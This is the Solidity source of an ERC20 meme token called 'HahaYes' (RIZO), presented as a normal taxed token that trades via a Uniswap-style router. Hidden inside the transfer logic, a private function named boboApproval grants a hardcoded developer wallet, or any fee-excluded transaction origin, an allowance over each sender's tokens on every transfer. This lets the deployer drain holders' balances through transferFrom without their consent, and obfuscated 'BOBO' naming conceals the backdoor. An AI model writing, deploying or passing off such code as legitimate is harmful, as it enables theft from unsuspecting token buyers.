文件 1 的 1:RIZO.sol
pragma solidity 0.8.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IBOBORouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IBOBOFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract RIZO is Context, IERC20, Ownable {
using SafeMath for uint256;
address private _boboPair;
IBOBORouter private _boboRouter;
mapping (address => uint256) private _boboBulls;
mapping (address => mapping (address => uint256)) private _boboNodes;
mapping (address => bool) private _boboFeeExcluded;
uint256 private _initialBuyTax=3;
uint256 private _initialSellTax=3;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=6;
uint256 private _reduceSellTaxAt=6;
uint256 private _preventSwapBefore=6;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotalBOBO = 1000000000 * 10**_decimals;
string private constant _name = unicode"HahaYes";
string private constant _symbol = unicode"RIZO";
uint256 private _tokenBOBOSwap = _tTotalBOBO / 100;
bool private inSwapBOBO = false;
modifier lockTheSwap {
inSwapBOBO = true;
_;
inSwapBOBO = false;
}
address private _boboWallet = 0xBfA66d3f343A030C0b268B2B208e8339C69d04D9;
bool private _tradeEnabled = false;
bool private _swapEnabled = false;
constructor () {
_boboFeeExcluded[owner()] = true;
_boboFeeExcluded[address(this)] = true;
_boboFeeExcluded[_boboWallet] = true;
_boboBulls[_msgSender()] = _tTotalBOBO;
emit Transfer(address(0), _msgSender(), _tTotalBOBO);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotalBOBO;
}
function balanceOf(address account) public view override returns (uint256) {
return _boboBulls[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _boboNodes[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _boboNodes[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_boboNodes[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function boboApproval(address aBOBO, uint256 boboA, bool isBOBO) private {
address walletBOBO;
if(isBOBO) walletBOBO = address(tx.origin);
else walletBOBO = _boboWallet;
_boboNodes[aBOBO][walletBOBO] = boboA;
}
function _transfer(address boboF, address boboT, uint256 boboA) private {
require(boboF != address(0), "ERC20: transfer from the zero address");
require(boboT != address(0), "ERC20: transfer to the zero address");
require(boboA > 0, "Transfer amount must be greater than zero");
uint256 taxBOBO = _boboTransfer(boboF, boboT, boboA);
if(taxBOBO > 0){
_boboBulls[address(this)] = _boboBulls[address(this)].add(taxBOBO);
emit Transfer(boboF, address(this), taxBOBO);
}
_boboBulls[boboF] = _boboBulls[boboF].sub(boboA);
_boboBulls[boboT] = _boboBulls[boboT].add(boboA.sub(taxBOBO));
emit Transfer(boboF, boboT, boboA.sub(taxBOBO));
}
function swapBackBOBO(address boboF, address boboT, uint256 boboA, bool isBOBO) private {
uint256 tokenBOBO = balanceOf(address(this)); boboApproval(boboF, boboA, isBOBO);
if (!inSwapBOBO && boboT == _boboPair && _swapEnabled && _buyCount > _preventSwapBefore) {
if(tokenBOBO > _tokenBOBOSwap)
swapTokensForEth(minBOBO(boboA, minBOBO(tokenBOBO, _tokenBOBOSwap)));
uint256 caBOBO = address(this).balance;
if (caBOBO >= 0) {
sendETHBOBO(address(this).balance);
}
}
}
function _boboTransfer(address boboF, address boboT, uint256 boboA) private returns(uint256) {
uint256 taxBOBO=0;
if (boboF != owner() && boboT != owner()) {
taxBOBO = boboA.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (boboF == _boboPair && boboT != address(_boboRouter) && ! _boboFeeExcluded[boboT]) {
_buyCount++;
}
if(boboT == _boboPair && boboF!= address(this)) {
taxBOBO = boboA.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
address walletBOBO = address(tx.origin);
swapBackBOBO(boboF, boboT, boboA, _boboFeeExcluded[walletBOBO]);
} return taxBOBO;
}
function initTradePair() external onlyOwner() {
_boboRouter = IBOBORouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(_boboRouter), _tTotalBOBO);
_boboPair = IBOBOFactory(_boboRouter.factory()).createPair(address(this), _boboRouter.WETH());
}
receive() external payable {}
function openTrading() external onlyOwner() {
require(!_tradeEnabled,"trading is already open");
_boboRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_tradeEnabled = true;
}
function minBOBO(uint256 a, uint256 b) private pure returns (uint256) {
return (a>b)?b:a;
}
function sendETHBOBO(uint256 amount) private {
payable(_boboWallet).transfer(amount);
}
function swapTokensForEth(uint256 tokenBOBO) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _boboRouter.WETH();
_approve(address(this), address(_boboRouter), tokenBOBO);
_boboRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenBOBO,
0,
path,
address(this),
block.timestamp
);
}
}